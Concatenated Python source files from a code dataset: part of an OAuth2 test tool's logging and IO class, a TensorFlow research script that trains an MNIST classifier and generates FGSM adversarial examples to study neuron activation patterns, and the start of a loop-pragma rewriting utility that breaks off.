% represent_result(_info, session))\n output.append(\"\")\n\n f = open(path, \"w\")\n txt = \"\\n\".join(output)\n\n try:\n f.write(txt)\n except UnicodeEncodeError:\n f.write(txt.encode(\"utf8\"))\n\n f.close()\n pp = path.split(\"/\")\n create_tar_archive(pp[1], pp[2])\n return path\n\n def profile_edit(self, session):\n resp = Response(mako_template=\"profile.mako\",\n template_lookup=self.lookup,\n headers=[])\n argv = {\"profile\": session[\"profile\"]}\n return resp(self.environ, self.start_response, **argv)\n\n def test_info(self, testid, session):\n resp = Response(mako_template=\"testinfo.mako\",\n template_lookup=self.lookup,\n headers=[])\n\n info = get_test_info(session, testid)\n\n argv = {\n \"profile\": info[\"profile_info\"],\n \"trace\": info[\"trace\"],\n \"events\": info[\"events\"],\n \"result\": represent_result(\n info, session).replace(\"\\n\", \"
    \\n\")\n }\n\n return resp(self.environ, self.start_response, **argv)\n\n def not_found(self):\n \"\"\"Called if no URL matches.\"\"\"\n resp = NotFound()\n return resp(self.environ, self.start_response)\n\n def static(self, path):\n logger.info(\"[static]sending: %s\" % (path,))\n\n try:\n text = open(path, 'rb').read()\n if path.endswith(\".ico\"):\n self.start_response('200 OK', [('Content-Type',\n \"image/x-icon\")])\n elif path.endswith(\".html\"):\n self.start_response('200 OK', [('Content-Type', 'text/html')])\n elif path.endswith(\".json\"):\n self.start_response('200 OK', [('Content-Type',\n 'application/json')])\n elif path.endswith(\".jwt\"):\n self.start_response('200 OK', [('Content-Type',\n 'application/jwt')])\n elif path.endswith(\".txt\"):\n self.start_response('200 OK', [('Content-Type', 'text/plain')])\n elif path.endswith(\".css\"):\n self.start_response('200 OK', [('Content-Type', 'text/css')])\n else:\n self.start_response('200 OK', [('Content-Type', \"text/plain\")])\n return [text]\n except IOError:\n resp = NotFound()\n return resp(self.environ, self.start_response)\n\n def _display(self, root, issuer, profile):\n item = []\n if profile:\n path = os.path.join(root, issuer, profile).replace(\":\", \"%3A\")\n argv = {\"issuer\": unquote(issuer), \"profile\": profile}\n\n path = with_or_without_slash(path)\n if path is None:\n resp = Response(\"No saved logs\")\n return resp(self.environ, self.start_response)\n\n for _name in os.listdir(path):\n if _name.startswith(\".\"):\n continue\n fn = os.path.join(path, _name)\n if os.path.isfile(fn):\n item.append((unquote(_name), os.path.join(profile, _name)))\n else:\n if issuer:\n argv = {'issuer': unquote(issuer), 'profile': ''}\n path = os.path.join(root, issuer).replace(\":\", \"%3A\")\n else:\n argv = {'issuer': '', 'profile': ''}\n path = root\n\n path = with_or_without_slash(path)\n if path is None:\n resp = Response(\"No saved logs\")\n return resp(self.environ, self.start_response)\n\n for _name in os.listdir(path):\n if _name.startswith(\".\"):\n continue\n fn = os.path.join(path, _name)\n if os.path.isdir(fn):\n item.append((unquote(_name), os.path.join(path, _name)))\n\n resp = Response(mako_template=\"logs.mako\",\n template_lookup=self.lookup,\n headers=[])\n\n item.sort()\n argv[\"logs\"] = item\n return resp(self.environ, self.start_response, **argv)\n\n def display_log(self, root, issuer=\"\", profile=\"\", testid=\"\"):\n logger.info(\n \"display_log root: '%s' issuer: '%s', profile: '%s' testid: '%s'\" % (\n root, issuer, profile, testid))\n if testid:\n path = os.path.join(root, issuer, profile, testid).replace(\":\",\n \"%3A\")\n return self.static(path)\n else:\n if issuer:\n return self._display(root, issuer, profile)\n else:\n resp = Response(\"No saved logs\")\n return resp(self.environ, self.start_response)\n\n @staticmethod\n def get_err_type(session):\n errt = WARNING\n try:\n if session[\"node\"].mti == {\"all\": \"MUST\"}:\n errt = ERROR\n except KeyError:\n pass\n return errt\n\n def log_fault(self, session, err, where, err_type=0):\n if err_type == 0:\n err_type = self.get_err_type(session)\n\n if \"node\" in session:\n if err:\n if isinstance(err, Break):\n session[\"node\"].state = WARNING\n else:\n session[\"node\"].state = err_type\n else:\n session[\"node\"].state = err_type\n\n if \"conv\" in session:\n if err:\n if isinstance(err, str):\n pass\n else:\n session[\"conv\"].trace.error(\"%s:%s\" % (\n err.__class__.__name__, str(err)))\n session[\"conv\"].events.store('fault',\n {\"id\": \"-\", \"status\": err_type, \"message\": \"%s\" % err})\n else:\n session[\"conv\"].events.store('fault',\n {\"id\": \"-\", \"status\": err_type,\n \"message\": \"Error in %s\" % where})\n\n def err_response(self, session, where, err):\n if err:\n exception_trace(where, err, logger)\n\n self.log_fault(session, err, where)\n\n try:\n _tid = session[\"testid\"]\n self.dump_log(session, _tid)\n self.store_test_info(session)\n except KeyError:\n pass\n\n return self.flow_list(session)\n\n def sorry_response(self, homepage, err):\n resp = Response(mako_template=\"sorry.mako\",\n template_lookup=self.lookup,\n headers=[])\n argv = {\"htmlpage\": homepage,\n \"error\": str(err)}\n return resp(self.environ, self.start_response, **argv)\n\n def opresult(self, conv, session):\n evaluate(session, session[\"test_info\"][conv.test_id])\n return self.flow_list(session)\n\n def opresult_fragment(self):\n resp = Response(mako_template=\"opresult_repost.mako\",\n template_lookup=self.lookup,\n headers=[])\n argv = {}\n return resp(self.environ, self.start_response, **argv)\n\n def respond(self, resp):\n if isinstance(resp, Response):\n return resp(self.environ, self.start_response)\n else:\n return resp\n\n\nSIGN = {OK: \"+\", WARNING: \"?\", ERROR: \"-\", INCOMPLETE: \"!\"}\n\n\nclass ClIO(IO):\n def flow_list(self, session):\n pass\n\n def dump_log(self, session, test_id):\n try:\n _conv = session[\"conv\"]\n except KeyError:\n pass\n else:\n _pi = get_profile_info(session, test_id)\n if _pi:\n sline = 60*\"=\"\n output = [\"%s: %s\" % (k, _pi[k]) for k in [\"Issuer\", \"Profile\",\n \"Test ID\"]]\n output.append(\"Timestamp: %s\" % in_a_while())\n output.extend([\"\", sline, \"\"])\n output.extend(trace_output(_conv.trace))\n output.extend([\"\", sline, \"\"])\n output.extend(condition(_conv.events))\n output.extend([\"\", sline, \"\"])\n # and lastly the result\n info = {\n \"events\": _conv.events,\n \"trace\": _conv.trace\n }\n output.append(\"RESULT: %s\" % represent_result(info, session))\n output.append(\"\")\n\n txt = \"\\n\".join(output)\n\n print(txt)\n\n def result(self, session):\n _conv = session[\"conv\"]\n info = {\n \"events\": _conv.events,\n \"trace\": _conv.trace\n }\n _state = evaluate(session, info)\n print(\"{} {}\".format(SIGN[_state], session[\"node\"].name))\n\n def err_response(self, session, where, err):\n if err:\n exception_trace(where, err, logger)\n\n try:\n _tid = session[\"testid\"]\n self.dump_log(session, _tid)\n except KeyError:\n pass","sub_path":"src/oauth2test/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":13140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"350854500","text":"\"\"\"\nDate: 19/05/2017\n\nAuthor: Xingjun Ma\nProject: robust-neuron\n\"\"\"\nimport os, sys\nimport numpy as np\nimport matplotlib as plt\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport id\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nLOG_DIR = './logs/conv6/'\nLOG_ADVS_DIR = './logs/conv6_advs'\nCHECKPOINT_DIR = './checkpoint/mnist/conv6/'\nDATA_DIR = './data/mnist/'\n\nprint(\"current working directory: %s\"%os.getcwd())\n\n# load or download mnist dataset\nmnist = input_data.read_data_sets(DATA_DIR, one_hot=True)\n\n\n# # Softmax Regression Model: accuracy 0.92\n# x = tf.placeholder(tf.float32, shape=[None, 784])\n# y_ = tf.placeholder(tf.float32, shape=[None, 10])\n# W = tf.Variable(tf.zeros([784,10]))\n# b = tf.Variable(tf.zeros([10]))\n# sess.run(tf.global_variables_initializer())\n# # build model and train\n# y = tf.matmul(x, W) + b\n# cross_entropy = tf.reduce_mean(\n# tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y))\n# train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n# for _ in range(1000):\n# batch = mnist.train.next_batch(100)\n# train_step.run(feed_dict={x: batch[0], y_: batch[1]})\n# # evaluation\n# correct_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\n# accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n# print(accuracy.eval(feed_dict={x: mnist.test.images, y_: mnist.test.labels}))\n\n# Multilayer CNN\n# def variable with initialization\ndef conv_layer(input, size_in, size_out, name='conv'):\n with tf.name_scope(name):\n w = tf.Variable(tf.truncated_normal([5, 5, size_in, size_out], stddev=0.1), name=\"W\")\n b = tf.Variable(tf.constant(0.1, shape=[size_out]), name=\"B\")\n conv = tf.nn.conv2d(input, w, strides=[1,1,1,1], padding=\"SAME\")\n act = tf.nn.relu(conv + b, name='A')\n tf.summary.histogram(\"weights\", w)\n tf.summary.histogram(\"biases\", b)\n tf.summary.histogram(\"activations\", act)\n return tf.nn.max_pool(act, ksize=[1,2,2,1], strides=[1,2,2,1], padding=\"SAME\")\n\ndef fc_layer(input, size_in, size_out, name=\"fc\"):\n with tf.name_scope(name):\n w = tf.Variable(tf.truncated_normal([size_in, size_out], stddev=0.1), name=\"W\")\n b = tf.Variable(tf.constant(0.1, shape=[size_out]), name=\"B\")\n act = tf.nn.relu(tf.matmul(input, w) + b, name='A')\n tf.summary.histogram(\"weights\", w)\n tf.summary.histogram(\"biases\", b)\n tf.summary.histogram(\"activations\", act)\n return act\n\n\ndef minist_conv6():\n sess = tf.InteractiveSession() # interactive session is more convenient\n\n # setup placeholders and reshape the data\n x = tf.placeholder(tf.float32, shape=[None, 784], name=\"x\")\n x_image = tf.reshape(x, [-1, 28, 28, 1])\n tf.summary.image(\"input\", x_image, 3)\n y = tf.placeholder(tf.float32, [None, 10], name=\"labels\")\n\n conv1 = conv_layer(x_image, 1, 32, \"conv1\")\n conv2 = conv_layer(conv1, 32, 64, \"conv2\")\n\n flattened = tf.reshape(conv2, [-1, 7*7*64])\n\n fc1 = fc_layer(flattened, 7*7*64, 1024, name=\"fc1\")\n #drop out\n keep_prob = tf.placeholder(tf.float32, name=\"keep_prob\")\n\n fc1_drop = tf.nn.dropout(fc1, keep_prob, name=\"fc1_drop\")\n tf.summary.histogram(\"activations\", fc1_drop)\n logits = fc_layer(fc1_drop, 1024, 10, name=\"fc2\")\n\n with tf.name_scope(\"xent\"):\n xent = tf.reduce_mean(\n tf.nn.softmax_cross_entropy_with_logits(\n logits=logits, labels=y, name=\"softmax\"), name=\"xent\")\n tf.summary.scalar(\"xent\", xent)\n\n with tf.name_scope(\"train\"):\n train_step = tf.train.AdamOptimizer(1e-4).minimize(xent)\n\n with tf.name_scope(\"accuracy\"):\n correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name=\"accuracy\")\n tf.summary.scalar(\"accuracy\", accuracy)\n\n summ = tf.summary.merge_all()\n\n sess.run(tf.global_variables_initializer())\n writer = tf.summary.FileWriter(LOG_DIR)\n writer.add_graph(sess.graph)\n\n cnn_trained = tf.train.latest_checkpoint(CHECKPOINT_DIR)\n print(\"Latest checkpoint: %s\" % cnn_trained)\n\n if cnn_trained is not None:\n print(\"Load pre-trained ConvNet\")\n saver = tf.train.Saver()\n saver.restore(sess, cnn_trained)\n else:\n \"\"\"\n train and evaluation the conv net\n \"\"\"\n print(\"Start training a new ConvNet\")\n\n train_step = tf.train.AdamOptimizer(1e-4).minimize(xent)\n sess.run(tf.global_variables_initializer())\n\n n_sample = mnist.train.images.shape[0]\n batch_size = 100\n n_batch = int(np.ceil(n_sample / batch_size))\n n_epoch = 200\n for epoch in range(n_epoch):\n for i_batch in range(n_batch):\n print(' batch {0}/{1}'.format(i_batch+1, n_batch), end='\\r')\n batch = mnist.train.next_batch(batch_size)\n train_step.run(feed_dict={x: batch[0], y: batch[1], keep_prob: 0.5})\n # epoch level evaluation\n [train_accuracy, s] = sess.run([accuracy, summ], feed_dict={x: batch[0], y: batch[1], keep_prob: 1.0})\n writer.add_summary(s, epoch)\n writer.flush()\n print(\"Epoch %d/%d, accuracy %g\" % (epoch + 1, n_epoch, train_accuracy))\n\n # save the convnet\n saver = tf.train.Saver()\n saver.save(sess, CHECKPOINT_DIR + \"conv6.ckpt\")\n # test accuracy\n print(\"test accuracy: %g\" % accuracy.eval(feed_dict={x: mnist.test.images, y: mnist.test.labels, keep_prob: 1.0}))\n\ndef craft_advs_examples(advs_file, test_or_train=True):\n \"\"\"\n load the pre-trained model and generate adversarial examples\n advs_file: files that stores the adversarial examples\n test_or_train: True: test, False: train, indicating generate advs examples from mnist-train or mnist-test data\n \"\"\"\n sess = tf.InteractiveSession() # interactive session is more convenient\n\n # restore model checkpoint\n cnn_trained = tf.train.latest_checkpoint(CHECKPOINT_DIR)\n print(\"Latest checkpoint: %s\" % cnn_trained)\n\n saver = tf.train.import_meta_graph('./checkpoint/mnist/conv6/conv6.ckpt.meta')\n saver.restore(sess, cnn_trained)\n # sess.run(tf.global_variables_initializer())\n\n # setup placeholders and reshape the data\n graph = tf.get_default_graph()\n loss = graph.get_tensor_by_name(\"xent/xent:0\")\n\n x = graph.get_tensor_by_name(\"x:0\")\n y = graph.get_tensor_by_name(\"labels:0\")\n logits = graph.get_tensor_by_name(\"fc2/A:0\")\n keep_prob = graph.get_tensor_by_name(\"keep_prob:0\")\n\n # compute the quality of adversarial examples\n accuracy = graph.get_tensor_by_name(\"accuracy/accuracy:0\")\n # softmax = graph.get_tensor_by_name(\"xent/SoftmaxCrossEntropyWithLogits:0\")\n probs = tf.nn.softmax(logits, name=\"probs\")\n # confidence = tf.reduce_sum(tf.multiply(probs, y), axis=1, name=\"confidence\")\n x_grad = tf.gradients(loss, [x])[0]\n\n # writer = tf.summary.FileWriter(LOG_ADVS_DIR)\n # writer.add_graph(sess.graph)\n # writer.flush()\n\n def fgsm(x, eps=0.01, epochs=12, clip_min=0., clip_max=1.):\n x_adv = tf.identity(x)\n\n def _cond(x_adv, i):\n return tf.less(i, n_epoch)\n\n def _body(x_adv, i):\n x_adv = tf.stop_gradient(x_adv + eps * tf.sign(x_grad))\n x_adv = tf.clip_by_value(x_adv, 0, 1.0)\n return x_adv, i + 1\n\n x_adv, i = tf.while_loop(_cond, _body, (x_adv, 0), back_prop=False, name='fgsm')\n return x_adv\n\n if test_or_train:\n print(\"\\nTargeting images from mnist-test\")\n n_sample = mnist.test.images.shape[0]\n clean_images = mnist.test.images\n clean_labels = mnist.test.labels\n\n else:\n print(\"\\nTargeting images from mnist-train\")\n n_sample = mnist.train.images.shape[0]\n clean_images = mnist.train.images\n clean_labels = mnist.train.labels\n\n if os.path.exists(advs_file):\n print(\"\\nLoading adversarial examples\")\n X_adv = np.load(advs_file)\n else:\n print(\"\\nCrafting advs images\")\n batch_size = 100\n n_batch = int(np.ceil(n_sample / batch_size))\n n_epoch = 20\n eps = 0.02\n X_adv = np.empty_like(clean_images)\n for i_batch in range(n_batch):\n print(' batch {0}/{1}'.format(i_batch + 1, n_batch), end='\\r')\n start = i_batch * batch_size\n end = min(n_sample, start + batch_size)\n x_batch = clean_images[start:end]\n y_batch = clean_labels[start:end]\n\n x_adv = fgsm(x, eps=eps, epochs=n_epoch)\n tmp = sess.run(x_adv, feed_dict={x: x_batch, y: y_batch, keep_prob: 1.0})\n X_adv[start:end] = tmp\n\n print('\\nSaving adversarial examples')\n os.makedirs('data', exist_ok=True)\n np.save(advs_file, X_adv)\n\n print(\"clean-image shape: \", clean_images.shape)\n print(\"advs-image shape: \", X_adv.shape)\n\n # evaluation adversarial effects\n # the following steps need to specify the start and end parameter below\n # for the mnist-train, it's too much to feed in all at once\n start = 0\n end = 1000\n\n [a, l] = sess.run([accuracy, loss], feed_dict={x: X_adv[start:end], y: clean_labels[start:end], keep_prob: 1.0})\n print(\"Adversarial examples: test accuracy=%g, loss=%g\" % (a, l))\n # sys.exit(0) # stop here to just see the accuracy of advs examples\n\n p_clean = sess.run(probs, feed_dict={x: clean_images[start:end], keep_prob: 1.0})\n p_advs = sess.run(probs, feed_dict={x: X_adv[start:end], keep_prob: 1.0})\n\n z0 = np.argmax(p_clean, axis=1)\n z1 = np.argmax(clean_labels[start:end], axis=1)\n z2 = np.argmax(p_advs, axis=1)\n\n print(\"clean-image prediction shape:\", z0.shape)\n print(\"clean-image label shape:\", z0.shape)\n print(\"advs-image prediction shape:\", z0.shape)\n\n n_class = 10\n X_tmp = np.empty((n_class, 28, 28))\n p_tmp = np.empty((n_class, n_class))\n for i in range(10):\n print('Plot a random advs image in class {0}'.format(i))\n tmp_true = [z0 == i, z1 == i, z2 != i]\n ind, = np.where(np.all(tmp_true, axis=0))\n cur = np.random.choice(ind)\n X_tmp[i] = np.squeeze(X_adv[cur]).reshape(28, 28)\n p_tmp[i] = p_advs[cur]\n\n print('\\nPlotting results')\n fig = plt.figure(figsize=(10, 1.8))\n gs = gridspec.GridSpec(1, 10, wspace=0.1, hspace=0.1)\n\n label = np.argmax(p_tmp, axis=1)\n proba = np.max(p_tmp, axis=1)\n for i in range(10):\n ax = fig.add_subplot(gs[0, i])\n ax.imshow(X_tmp[i], cmap='gray', interpolation='none')\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_xlabel('{0} ({1:.2f})'.format(label[i], proba[i]),\n fontsize=12)\n\n print('\\nSaving figure')\n gs.tight_layout(fig)\n os.makedirs('images', exist_ok=True)\n if test_or_train:\n plt.savefig('./images/mnist/advs-mnist-test.png')\n else:\n plt.savefig('./images/mnist/advs-mnist-train.png')\n\ndef visual_adversarial_pattern():\n \"\"\"\n explore adversarial patterns of the conv1 filters\n using advs examples generated from the mnist-test data\n \"\"\"\n sess = tf.InteractiveSession() # interactive session is more convenient\n\n # restore model checkpoint\n cnn_trained = tf.train.latest_checkpoint(CHECKPOINT_DIR)\n print(\"Latest checkpoint: %s\" % cnn_trained)\n\n saver = tf.train.import_meta_graph('./checkpoint/conv6/conv6.ckpt.meta')\n saver.restore(sess, cnn_trained)\n # sess.run(tf.global_variables_initializer())\n\n # setup placeholders and reshape the data\n graph = tf.get_default_graph()\n\n x = graph.get_tensor_by_name(\"x:0\")\n y = graph.get_tensor_by_name(\"labels:0\")\n keep_prob = graph.get_tensor_by_name(\"keep_prob:0\")\n\n # compute the quality of adversarial examples\n accuracy = graph.get_tensor_by_name(\"accuracy/accuracy:0\")\n logits = graph.get_tensor_by_name(\"fc2/A:0\")\n probs = tf.nn.softmax(logits, name=\"probs\")\n\n # the parameters that want to explore: conv1 layer\n conv1_a = graph.get_tensor_by_name(\"conv1/A:0\")\n conv1_w = graph.get_tensor_by_name(\"conv1/W:0\")\n\n # the parameters that want to explore: conv2 layer\n # conv2_a = graph.get_tensor_by_name(\"conv2/A:0\")\n # conv2_w = graph.get_tensor_by_name(\"conv2/W:0\")\n\n X_clean = mnist.test.images\n n_images = X_clean.shape[0]\n y_clean = mnist.test.labels\n\n advs_file = \"./data/mnist/advs.test.npy\"\n if os.path.exists(advs_file):\n print(\"\\nLoading adversarial examples\")\n X_advs = np.load(advs_file)\n else:\n print(\"\\nCrafting adversarial examples\")\n craft_advs_examples(advs_file, test_or_train=True)\n print(\"\\nLoading adversarial examples\")\n X_advs = np.load(advs_file)\n\n batch_size = 100\n filter_height = 5\n filter_width = 5\n # conv1 setting\n out_height = 28 # SAME padding conv1\n out_width = 28 # SAME padding conv1\n n_filter = 32 # conv 1\n\n # conv2 setting\n # out_height = 14 # max-pool+SAME padding conv2\n # out_width = 14 # max-pool+SAME padding conv2\n # n_filter = 64 # conv 2\n\n # randomly select batch from advs examples\n if batch_size < 10000:\n rand_choice = np.random.choice(np.arange(10000), batch_size, replace=False)\n else:\n rand_choice = np.arange(10000)\n\n # conv1 setting\n a_clean, w_clean = sess.run([conv1_a, conv1_w], feed_dict={x: X_clean[rand_choice]})\n a_advs, w_advs = sess.run([conv1_a, conv1_w], feed_dict={x: X_advs[rand_choice]})\n\n #conv2 setting\n # a_clean, w_clean = sess.run([conv2_a, conv2_w], feed_dict={x: X_clean[rand_choice]})\n # a_advs, w_advs = sess.run([conv2_a, conv2_w], feed_dict={x: X_advs[rand_choice]})\n\n # element wise XOR for activation > 0\n a_diff = tf.cast(np.logical_xor(a_clean > 0, a_advs > 0), tf.float32) # [batch, out_height, out_width, n_filter]\n a_diff = tf.reduce_mean(a_diff, 0) # [out_height, out_width, n_filter]\n # normalize array to [0-1]\n\n # transform activations to 0/1\n a_clean[a_clean < 0] = 0 # relu applied\n # a_clean[a_clean > 0] = 1\n a_clean = tf.reduce_mean(a_clean, 0) # batch mean\n a_advs[a_advs < 0] = 0\n # a_advs[a_advs > 0] = 1\n a_advs = tf.reduce_mean(a_advs, 0) # batch mean\n\n\n # sum over filter and then plot\n # sum_diff = tf.reduce_sum(mean_diff, [0, 1]) # sum reduce the first two dimensions\n # values_op, indices_op = tf.nn.top_k(sum_diff, n_filter)\n # values = values_op.eval()\n # indices = indices_op.eval()\n\n # v_max = np.max(values)\n # v_min = np.min(values)\n # if (v_max - v_min) != 0:\n # values_norm = (values - v_min)/(v_max-v_min)\n # else:\n # values_norm = values\n\n # get the top/lowest weight distribution of conv1_w\n # focus = 0.1\n # n_focus = int(focus*n_filter)\n # top_focus_w = w_clean[:,:,:, indices[0:n_focus]] # w_clean.shape: [filter_height, filter_width, in_channels, n_filter/out_channels]\n # low_focus_w = w_clean[:,:,:, indices[n_filter-n_focus:-1]]\n\n # plot the results:\n print('\\nPlotting activation difference and weights')\n for iFilter in range(n_filter):\n fig = plt.figure(figsize=(25, 5))\n gs = gridspec.GridSpec(1, 5, wspace=0.2, hspace=0.1)\n\n # plot activation difference\n img = a_diff[:, :, iFilter].eval()\n # sum of difference\n a_sum = np.sum(img)\n ax = fig.add_subplot(gs[0, 0])\n ax.imshow(img, cmap='gray', interpolation='none')\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_xlabel('activation difference (filter %s - Sum %.2f)' % (iFilter, a_sum))\n\n # plot clean activation heatmap\n img = a_clean[:, :, iFilter].eval()\n a_sum = np.sum(img)\n ax = fig.add_subplot(gs[0, 1])\n ax.imshow(img, cmap='gray', interpolation='none')\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_xlabel('clean activation heatmap (filter %s - Sum %.2f)' % (iFilter, a_sum))\n\n # plot advs activation heatmap\n img = a_advs[:, :, iFilter].eval()\n a_sum = np.sum(img)\n ax = fig.add_subplot(gs[0, 2])\n ax.imshow(img, cmap='gray', interpolation='none')\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_xlabel('advs activation heatmap (filter %s - Sum %.2f)' % (iFilter, a_sum))\n\n # plot weights histgram\n ax = fig.add_subplot(gs[0, 3])\n weights = w_clean[:, :, 0, iFilter].flatten()\n # calculate the variance of the weights\n w_id = np.mean(id.mle_full(weights.reshape(-1,1), 2))\n ax.hist(weights, bins=20)\n ax.set_xlabel(\"weights (filter %s - ID %.4f)\" % (iFilter, w_id), fontsize=12)\n ax.set_xlim([-0.2, 0.2])\n\n # plot filters as images\n ax = fig.add_subplot(gs[0, 4])\n filter = w_clean[:, :, 0, iFilter]\n ax.imshow(filter, cmap='gray', interpolation='none')\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_xlabel('filter %s' % iFilter)\n\n print('\\nSaving figure %s' % iFilter)\n gs.tight_layout(fig)\n os.makedirs('images', exist_ok=True)\n plt.savefig('./images/mnist/conv1_diff_plot_{}.png'.format(iFilter))\n\ndef craft_advs_pattern_dataset():\n \"\"\"\n Generate the dataset of adversarial pattern based on the filter_id filter in the conv1 layer\n 1. feed in all the images (clean/advs) in batch to the pre-trained DNN (this is the advs-pattern extractor)\n 2. get the i^th filter's activation image (or pattern)\n 3. save the activation image as new dataset\n 4. repeat this in batch (to avoid out of memory) for both training and testing mnist images\n NOTE: In new dataset, the label for clean image is 0, advs 1. The data is activation image of the i^th filter\n \n Return:\n saved train and test numpy file .npy\n the label for clean image is 0, advs 1\n \"\"\"\n sess = tf.InteractiveSession() # interactive session is more convenient\n\n # restore pre-trained model as advs-pattern extractor\n cnn_trained = tf.train.latest_checkpoint(CHECKPOINT_DIR)\n print(\"Latest checkpoint: %s\" % cnn_trained)\n\n saver = tf.train.import_meta_graph('./checkpoint/mnist/conv6/conv6.ckpt.meta')\n saver.restore(sess, cnn_trained)\n # sess.run(tf.global_variables_initializer())\n\n # setup placeholders and reshape the data\n graph = tf.get_default_graph()\n loss = graph.get_tensor_by_name(\"xent/xent:0\")\n\n x = graph.get_tensor_by_name(\"x:0\")\n y = graph.get_tensor_by_name(\"labels:0\")\n logits = graph.get_tensor_by_name(\"fc2/A:0\")\n keep_prob = graph.get_tensor_by_name(\"keep_prob:0\")\n\n # the parameters that want to explore: conv1 layer\n conv1_a = graph.get_tensor_by_name(\"conv1/A:0\")\n conv1_w = graph.get_tensor_by_name(\"conv1/W:0\")\n\n # load advs images crafted using craft_advs_examples()\n # these data along with mnist.train/mnist.test will be used to generate new dataset\n X_advs_train = np.load(\"./data/mnist/advs.train.npy\")\n X_advs_test = np.load(\"./data/mnist/advs.test.npy\")\n\n batch_size = 100\n seed_filter = 28\n # generate training dataset\n # using mnist.train and X_advs_train\n n_sample = mnist.train.images.shape[0]\n n_batch = int(np.ceil(n_sample / batch_size))\n X_pattern = np.zeros((2*n_sample, 28, 28))\n y_pattern = np.zeros(2*n_sample)\n n_batch = int(np.ceil(n_sample / batch_size))\n for i_batch in range(n_batch):\n print(' batch {0}/{1}'.format(i_batch + 1, n_batch), end='\\r\\n')\n start = i_batch * batch_size\n end = min(n_sample, start + batch_size)\n a_clean = sess.run(conv1_a, feed_dict={x: mnist.train.images[start:end]}) #[batch, out_height, out_width, n_filter]\n a_clean[a_clean > 0] = 1 # relu binarized to get binary pattern\n a_clean[a_clean < 0] = 0\n a_advs = sess.run(conv1_a, feed_dict={x: X_advs_train[start:end]}) # [batch, out_height, out_width, n_filter]\n a_advs[a_advs > 0] = 1 # relu binarized to get binary pattern\n a_advs[a_advs < 0] = 0\n\n merge_start = 2*start\n merge_end = 2*end\n size = end-start\n X_pattern[merge_start:merge_end] = np.concatenate((a_clean[:,:,:,seed_filter], a_advs[:,:,:,seed_filter]), axis=0)\n y_pattern[merge_start:merge_end] = np.concatenate((np.zeros(size), np.ones(size)), axis=0)\n\n os.makedirs('data', exist_ok=True)\n np.save(\"./data/mnist/advs.train.patterns.npy\", X_pattern) # save data\n np.save(\"./data/mnist/advs.train.labels.npy\", y_pattern) # save labels\n\n # generate test dataset\n # using mnist.train and X_advs_train\n n_sample = mnist.test.images.shape[0]\n n_batch = int(np.ceil(n_sample / batch_size))\n X_pattern = np.zeros((2 * n_sample, 28, 28))\n y_pattern = np.zeros(2 * n_sample)\n n_batch = int(np.ceil(n_sample / batch_size))\n for i_batch in range(n_batch):\n print(' batch {0}/{1}'.format(i_batch + 1, n_batch), end='\\r\\n')\n start = i_batch * batch_size\n end = min(n_sample, start + batch_size)\n a_clean = sess.run(conv1_a, feed_dict={x: mnist.test.images[start:end]}) # [batch, out_height, out_width, n_filter]\n a_clean[a_clean > 0] = 1 # relu binarized to get binary pattern\n a_clean[a_clean < 0] = 0\n a_advs = sess.run(conv1_a, feed_dict={x: X_advs_test[start:end]}) # [batch, out_height, out_width, n_filter]\n a_advs[a_advs > 0] = 1 # relu binarized to get binary pattern\n a_advs[a_advs < 0] = 0\n\n merge_start = 2 * start\n merge_end = 2 * end\n size = end - start\n X_pattern[merge_start:merge_end] = np.concatenate((a_clean[:, :, :, seed_filter], a_advs[:, :, :, seed_filter]), axis=0)\n y_pattern[merge_start:merge_end] = np.concatenate((np.zeros(size), np.ones(size)), axis=0)\n\n # os.makedirs('data', exist_ok=True)\n np.save(\"./data/mnist/advs.test.patterns.npy\", X_pattern) # save data\n np.save(\"./data/mnist/advs.test.labels.npy\", y_pattern) # save labels\n\n\nif __name__ == '__main__':\n minist_conv6()\n # craft_advs_examples(advs_file=\"./data/mnist/advs.test.npy\", test_or_train=True) # craft advs images from mnist-test\n # craft_advs_examples(advs_file=\"./data/mnist/advs.train.npy\", test_or_train=False) # craft advs images from mnist-train\n # visual_adversarial_pattern()\n # craft_advs_pattern_dataset()\n \"\"\"\n view summaries on tensorboard\n tensor board open command:\n >> activate py35\n >> tensorboard --logdir=C:/Users/xingj/Documents/GitHub/robust-neuron/logs\n The open: http://localhost:6006/ in Chrome browser\n \"\"\"\n","sub_path":"minist_exploration.py","file_name":"minist_exploration.py","file_ext":"py","file_size_in_byte":22605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"41776972","text":"import random\nfrom auxillary_functions import get_content\nfrom auxillary_functions import rewrite\nfrom settings import kernel_list\nimport os\n\n\ndef add_constant(filename):\n content = get_content(filename)\n start_index = False\n for idx, line in enumerate(content):\n if '#pragma scop' in line:\n start_index = True\n if '#pragma endscop' in line:\n start_index = False\n if start_index and line[-1] == ';':\n content[idx] = line[:-1] + '+' + str(random.randint(1, 100)) + ';'\n rewrite(filename, content)\n\n\ndef add_2D_tiling_label(filename):\n content = get_content(filename)\n start_index = False\n\n prev = 0\n next = 0\n\n for idx, line in enumerate(content):\n if '#pragma scop' in line:\n start_index = True\n if '#pragma endscop' in line:\n start_index = False\n if start_index and 'for' in line:\n prev = next\n next = idx\n\n content[prev] = 'tiling_2D: ' + content[prev]\n rewrite(filename, content)\n\n\ndef add_3D_tiling_label(filename):\n content = get_content(filename)\n start_index = False\n\n first = -1\n\n for idx, line in enumerate(content):\n if '#pragma scop' in line:\n start_index = True\n if '#pragma endscop' in line:\n start_index = False\n if start_index and 'for' in line:\n if first < 0:\n first = idx\n content[first] = '#pragma @ICE loop=tile ' + content[first]\n rewrite(filename, content)\n\n\n\ndef add_pragma(filename):\n content = get_content(filename)\n right_idx = 0\n for 